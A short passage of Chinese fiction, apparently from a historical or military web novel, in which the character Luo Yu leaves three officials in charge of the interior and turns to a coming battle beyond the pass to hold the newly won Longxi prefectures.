“就这样吧,梅雪崖陆怀舟皆有大才,如今又有君大人老沉持重,三人坐镇内地,我很放心。”
洛羽轻挥衣袖,视线落在地图上:
“咱们就着眼关外战场吧,还有一场大仗等着我们呢。
这一仗若是打不赢,刚刚到手的陇西三州只会是一场梦。”